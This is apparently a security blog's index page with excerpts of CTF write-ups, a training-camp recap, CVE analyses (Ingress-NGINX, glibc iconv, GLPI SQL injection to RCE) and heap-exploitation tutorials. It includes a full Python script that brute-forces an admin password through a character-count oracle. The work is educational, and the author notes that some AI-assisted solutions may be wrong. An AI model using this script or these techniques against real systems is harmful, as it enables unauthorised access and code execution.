Nullcon Berlin HackIM 2025 CTF writeup

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確 Web grandmas_notes 網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。 問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破 1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py 1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code ...

2025-09-06 · 21 min · 4326 words · YJK

TeamT5 Security Camp 資安培訓營 2025

前言 今年(2025 年)寒假我參加了 TeamT5 舉辦的 Security Camp 資安培訓營,整體來說收穫滿滿,也認識了很多志同道合的朋友,在講心得前先介紹一下這個營隊。 這個營隊是從 2021 年起由 TeamT5 主辦、專為學生打造的資安職場訓練營隊!營隊課程會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務。讓學員能快速學習,了解每個資安工作角色的具體工作內容,進而找到適合自己的位置! 而根據 TeamT5 的介紹五天的 Security Camp 資安培訓營會接觸到以下內容: 追蹤威脅情資的攻擊脈絡:從樣本分析到追查惡意攻擊族群 資安事件調查起手式:在受害環境中查找蛛絲馬跡 與系統底層一日邂逅:從程式逆向到撰寫外掛 漏洞挖掘的深入體驗:漏洞研究員的樸實無華與快樂 而在參加前會有一個小小的徵選,目的是為了找到對資訊安全有基礎能力之在學生,而徵選的前測題目在這一屆有三大類(僅需選擇一題繳交即可),包含: 木馬程式實作 惡意程式分析 韌體漏洞研究 而三個題目中我選擇了第三題韌體漏洞研究,因為我本身對韌體的興趣比較大,過去也有一些相關的經驗,且也想藉此從零開始對一個韌體、漏洞做研究,而這一題就是只給一個韌體檔與 CVE 編號,讓自己去研究如何拆解韌體、定位漏洞、分析漏洞、模擬服務、撰寫 PoC、最後撰寫出一份完整的研究報告,整體的過程就是一個簡化過的韌體漏洞研究流程,但題目也不是到非常難,印象中我只花了大約 1、2 天的時間就完成了實作部分,但是撰寫報告花了比較多時間(畢竟很懶得寫報告 XDD),最後也順利通過了徵選,並在 2025/01/07~2025/01/10 參加了營隊,並且在 2025/01/16 參加了最後的專題發表。 而另外兩個題目就如字面上所述,木馬程式實作就是要自己寫一個木馬程式,而完成的項目在題目說明也有一步一步說明清楚,最後也要繳交出自己的程式碼,具體內容可以參考 Zeze 在成大資安社的頻道的社課教學:錄影1、錄影2、錄影3,而這也是營隊課程中的一部分(後續會再提到一部份)。 而惡意程式分析則是給惡意程式,讓自己去分析這個惡意程式的行為、各種特徵、資訊,並且最後也要撰寫一份分析報告,但個人對於惡意程式分析相對比較沒有興趣,所以就沒有特別去研究這一題的內容,但營隊課程一樣有相關課程。 營隊內容 前面有提到營隊內容會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務,而這次的營隊課程分成 4 天進行,分別是: Day 1:資安事件處理剖析(#Incident Response #Forensic) Day 2:漏洞挖掘的深入體驗(#Vulnerability #IoT Security) Day 3:與系統底層一日邂逅(#Anti-debugging #Reverse #Hooking) Day 4:初探威脅情資的奧秘(#APT #Threat Intelligence) 而在隔一周後會有交流分享會&活動總結等,會需要各組進行專題發表,做為這次營隊的結業,而現在就簡短講一下這四天的課程內容,但基本上有些內容是不太能公開(我也忘記有哪些了,所以就都簡單帶過)。 順帶一提,營隊中的午餐、點心、飲料都是由 TeamT5 幫忙準備的,餐點部分也都還不錯吃,以下為了怕純文字太無聊,所以也會附上餐點的照片 XDD Day 1:資安事件處理剖析 第一天的課程主要是講解資安事件調查、處理的流程與方式,並且透過實際案例分析,讓學員能夠更深入了解在資安事件發生時,應該如何進行調查與取證,並且學習到一些常用的工具與技巧,而有實作到的包含 Linux Server 事件調查、IIS Web Server 事件調查、Windows DC Server 事件調查等,而雖然到現在還是沒有到很熟悉這些流程,因為我覺得包含不少經驗的累積,像是要怎麼去找 root cause、怎麼去分析 log、怎麼去還原事件流程等,但至少有個基本的概念,知道要怎麼去做這些事情。 ...

2025-08-27 · 1 min · 186 words · YJK

AIS3 Pre-exam 2025 writeup

author:YJK ID:YJK Misc Welcome flag: AIS3{Welcome_And_Enjoy_The_CTF_!} 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag Ramen CTF flag: AIS3{樂山溫泉拉麵:蝦拉麵} 圖片右邊有一張發票條碼沒有被擋 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 此地址在 google map 上是 樂山溫泉拉麵 AIS3 Tiny Server - Web / Misc flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe} 雖然題目敘述說建議 local 先解解看,但我直接開 instance, 點進去會發現是題目簡介網頁,並發現網址給了 index.html 另外題目有給小提示,專注在第一個提示就好 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ...

2025-07-01 · 11 min · 2304 words · YJK

CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告

Overview Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller Product Version Ingress-NGINX 1.11.5 以下的版本 Root Cause Analysis Remote NGINX Configuration Injection 處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效 1// testTemplate checks if the NGINX configuration inside the byte array is valid 2// running the command "nginx -t" using a temporal file. 3func (n *NGINXController) testTemplate(cfg []byte) error { 4... 5 tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern) 6... 7 err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser) 8... 9 out, err := n.command.Test(tmpfile.Name()) 10 11func (nc NginxCommand) Test(cfg string) ([]byte, error) { 12 //nolint:gosec // Ignore G204 error 13 return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput() 14} 不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller ...

2025-06-14 · 8 min · 1601 words · YJK

CVE-2024-2961 分析報告

Overview CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。 由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。 Affected Versions glibc iconv:支援 ISO-2022-CN-EXT 的版本 PHP:多數版本(含 PHP 7.x, 8.x) 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件: 有 file_get_contents($_GET[‘file’]) 類似行為 可以透過 php://filter 執行 filter-chain Root Cause Analysis ISO-2022-CN-EXT 漏洞 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查 source code ...

2025-04-30 · 8 min · 1651 words · YJK

CVE-2025-24799/CVE-2025-24801 分析報告

Overview GLPI 是使用 PHP 開發的資訊資產管理系統,具備豐富的整合性功能,可連接 AD、各類 IT 應用與設備。由於其大量介接與自動化能力,長期以來具備多個潛在攻擊面,這次分析的主要是 CVE-2025-24799/CVE-2025-24801 兩個漏洞 CVE-2025-24799:GLPI Inventory API 中有一個 pre-auth SQL injection 漏洞,可經由 XML 傳入惡意的 device ID,導致 SQL injection,可以進一步控制資料庫。 CVE-2025-24801:透過預設啟用功能與系統機制,可將 SQLi 的漏洞利用擴展從 LFI 到 RCE,達成完整攻擊鏈。 此攻擊鏈由於無須經過身分驗證因此可以由未驗證攻擊者觸發,導致 RCE。 Product Version Product:GLPI Version:10.0.17 Language/Platform:PHP 8.x, Apache/Nginx, MySQL Mode:Inventory Agent API、Calendar、Marketplace、TCPDF Root Cause Analysis Pre-auth SQL Injection (CVE-2025-24799) 漏洞在 GLPI 的 Inventory 原生功能(通常是啟用狀態),不用身分驗證即可觸發,漏洞點在 /src/Agent.php 裡面的 handleAgent() 呼叫到 dbEscapeRecursive() 的地方,首先看一下 handleAgent() /src/Agent.php:handleAgent() 1<?php 2 public function handleAgent($metadata) 3 { 4 /** @var array $CFG_GLPI */ 5 global $CFG_GLPI; 6 7 $deviceid = $metadata['deviceid']; 8 9 $aid = false; 10 if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) { 11 $aid = $this->fields['id']; 12 } 可以發現 handleAgent() 會接收 user input 並且儲存到 $deviceid 等變數,接下來經過 Sanitizer function dbEscapeRecursive() 再傳給 getFromDBByCrit(),接下來看一下 getFromDBByCrit() ...

2025-03-20 · 3 min · 467 words · YJK

Day30-最後總結

總結 這一次的鐵人賽從頭開始介紹了組合語言、如何使用 GDB、ELF 檔的保護機制與工具,接著介紹了 stack 和 heap 相關的漏洞。這段過程中,我將過去一年在 PWN 領域學到的技巧與知識系統地整理了出來,並透過一些 demo 和 lab 幫助讀者更好地理解內容。這樣的互動方式能讓大家不僅是被動閱讀,還能實際操作,增強參與感,也避免了那種只看理論卻不知道如何實際操作的情況。 雖然這次鐵人賽的重點是介紹 ELF 檔的相關知識,但事實上,「萬物皆可 PWN」。無論是小小的 ELF 執行檔、Windows 的 PE 執行檔,還是每個人天天使用的瀏覽器,甚至到家中的 IoT 智慧家電,都可能成為 PWN 的目標。PWN 的技術也是多種多樣,因而被認為是 CTF 中最難掌握的分類之一。這次的主題正是希望為想要入門 PWN 領域的人提供一個較為簡單的教材,讓大家能夠更容易地踏進這個領域。 心得 這次的主題其實是在參賽前一個月才做的更改,原本計劃是從 reverse 開始講解,並在後面再介紹一些 PWN 的基礎知識與漏洞。然而,經過一個暑假的學習和參加了 AIS3 之後,我發現自己可以分享的 PWN 知識其實足以支撐整個月的文章內容,並且也有很多值得深入探討的主題。同時,我也藉此機會強迫自己開始學習 Heap 相關的知識與漏洞,這讓我的研究領域更加多元化。 雖然這次的內容寫得不算很完美,但搭配著自己設計的 lab,相信讀者會有更高的參與感。在準備這些 lab 的過程中,我自己也學到了許多額外的知識,這是一個額外的收穫。我也希望能在未來繼續精進,持續努力。 最後,我要感謝一路上支持我學習資訊安全的各種資源、課程、文章以及講師、學長姐。大家也可以參考 AngelBoy 過去的文章和影片,是理解 Heap 結構非常好的教材。另外,張元的教材 也是非常推薦的資源。想進一步學習的人也可以考慮參加台灣好厲駭、AIS3 或 SCIST 的課程,這些都是極有幫助的學習途徑。 謝謝大家這一個月來的收看與支持!

2024-10-14 · 1 min · 58 words · YJK

Day29-Shrink the chunk

前言 昨天介紹了 Fastbin Corruption,今天我們將介紹這次鐵人賽的最後一個漏洞:Shrink the chunk。 Shrink the chunk Shrink the chunk 這個漏洞的前提是存在一個 off-by-one 的 null byte 漏洞。這類漏洞其實並不少見,因為如果使用像 strcpy 或 strcat 這類在結尾會補 0 的函數,就有可能導致此類漏洞。這個漏洞主要目的是創造出 overlap chunk,從而修改 chunk 的內容,並利用 unsorted bin 和 smallbin 的 unlink 行為來達成目的。 利用方式 假設 fastbin 是空的,並且通過 malloc 分配三個 chunk 到 heap 中,分別為 A、B、C,大小分別是 0x40、0x170 和 0x100。在 B 的資料的 offset 位置 0xf0 填入 0x100,目的是為了通過 prev_size == size 的檢查。接著我們釋放 B,然後釋放 A,這裡是為了觸發 A 的 off-by-one 漏洞。 接著,我們再分配回 A(需要注意 malloc 的大小),此時就可以觸發 off-by-one 漏洞,並將原本 B 的 0x171 改寫成 0x100。這樣,這一塊會被認為是 0x100 大小。當我們再次 malloc 時,會發現因為這塊記憶體需要從 unsorted bin 中取出,因此會進行 unlink 操作,並檢查 prev_size 和 size。這就是為什麼我們一開始在 B 中放入 0x100 的原因。 ...

2024-10-13 · 1 min · 177 words · YJK

Day28-Fastbin corruption

前言 在完成了兩天的 Heap Overflow 介紹後,我們將進一步探討另一個常見的漏洞:Fastbin Corruption。 Fastbin Corruption Fastbin Corruption 顧名思義,與 fastbin 密切相關。這類漏洞的前提通常是存在 double free 的情況。其基本利用方式是通過修改已經 free 的 fastbin chunk 的 fd 指標,讓下一次 malloc 分配時獲取到惡意控制的位置。不過,為了成功利用 double free 漏洞來修改 free 後的 chunk,我們需要了解 fastbin 的特性並滿足相關的檢查條件。 fastbin 的檢查 free 操作中的檢查 在 free 操作中,系統會進行以下檢查: chunk 的地址必須小於 -size。 地址需要對齊,並且 chunk 的大小至少要滿足最小要求(如 0x20),且需是 0x10 的倍數。 下一個 chunk 的大小應該大於最小值且小於 system_memory 的大小。 最重要的一點是,系統會檢查要 free 的 chunk 是否與當前 fastbin 中對應大小的第一個 chunk 相同,若相同則無法 free。 malloc 操作中的檢查 在 malloc 操作中,系統會根據所需的 byte 數量來獲取對應的 fastbin index,並查找適合的 chunk。系統檢查該 fastbin 中的第一個 chunk 是否符合大小要求。特別的是,實際比對時會使用 fastbin 第一個 chunk 的大小來取得 index 並進行驗證。 ...

2024-10-12 · 1 min · 181 words · YJK

Day27-Heap overflow adv

前言 昨天我們提到了較新版本的 libc 針對 unlink 所引入的一些機制,今天就進一步介紹這些機制的細節。 Corrupted double linked list Corrupted double linked list 機制會檢查雙向鏈表(double linked list)是否被破壞,具體來說是檢查循環雙向鏈表(circular doubly linked list)的完整性。原則上,一個節點的前向指針與後向指針應該形成一個封閉的循環,如果鏈表被破壞,程式就會顯示 Corrupted double linked list,並且中斷運行。具體條件如下: P->bk->fd == P P->fd->bk == P Corrupted size vs. prev_size Corrupted size vs. prev_size 機制主要是用來防止 size 或 prev_size 被篡改。這個檢查的邏輯可以表示為: chunksize(P) == next_chunk(P)->prev_size 此機制是從 glibc 2.26 版本開始新增的。 How to bypass 儘管這些機制增加了攻擊的難度,但仍有可能進行攻擊,只是過程會更複雜。攻擊的核心思路是構造出符合檢查條件的假 chunk,整體流程大致如下: 偽造 chunk 結構。 需要知道指向該 chunk 的 pointer 及該指針的 address。 由於能修改的區域有限,可能需要間接進行讀取或寫入操作。 構造 chunk size 與 next_chunk->prev_size 一起偽造。 假設 r 是第二塊 chunk,且存在溢出問題,q 是第三塊: 先偽造 chunk,注意偽造 r 的 size 時需要扣掉 header 的大小。接著填入 fd 和 bk,並繼續溢出到 q 的 prev_size 和 size。當這些 chunk 被巧妙地佈置好後,r 會指向我們偽造的 chunk。 接著 free(q)。 此時檢查 q 和 r 是否已被 free(可觀察相關的 flag)。 在接下來的操作中,會利用 q 的 prev_size 計算出正確位置,發現 r 被視為一個 chunk,因此進行 unlink 操作。 按照設計進行 unlink(r, FD, BK),具體過程為: FD = r->fd = &r - 0x18 BK = r->bk = &r - 0x10 進行檢查: prev_size2 == fake_size == 0x80 r->fd->bk == r = *(&r - 0x18 + 0x18) = r r->bk->fd == r = *(&r - 0x10 + 0x10) = r 然後更新 pointer: FD->bk = BK: *(&r - 0x18 + 0x18) == &r - 0x10 BK->fd = FD: *(&r - 0x10 + 0x10) == &r - 0x18 最後結束操作: r 通常會成為一個指向 data 的 pointer,因此可以利用 r 修改附近的 pointer,進而造成任意位置讀寫。如果指針附近有 function pointer,甚至可以直接控制執行流程。 現今較新的 libc 版本引入了更多的檢查機制,因此攻擊 glibc 變得更加困難,甚至在某些情況下已經無法達成。 ...

2024-10-11 · 2 min · 223 words · YJK